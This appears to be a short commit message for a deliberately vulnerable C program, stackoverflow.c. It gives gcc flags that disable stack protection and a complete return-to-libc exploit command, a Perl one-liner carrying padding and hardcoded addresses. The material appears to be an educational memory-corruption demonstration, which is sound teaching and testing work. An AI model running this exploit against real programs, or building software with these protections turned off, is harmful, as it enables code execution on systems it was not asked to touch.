Create stackoverflow.c

SImple C-program which has stack buffer overflow vulnerability. 
To compile it use the following command: gcc -O0 -fno-stack-protector -m32 -o stackoverflow stackoverflow.c

Workable return-to-libc attack is: 
./stackoverflow `perl -e 'print "A"x12 . "\x90\x29\xb5\xff" . "\xee\xff\xc0\x10" . "\xc0\x83\x04\x08";'`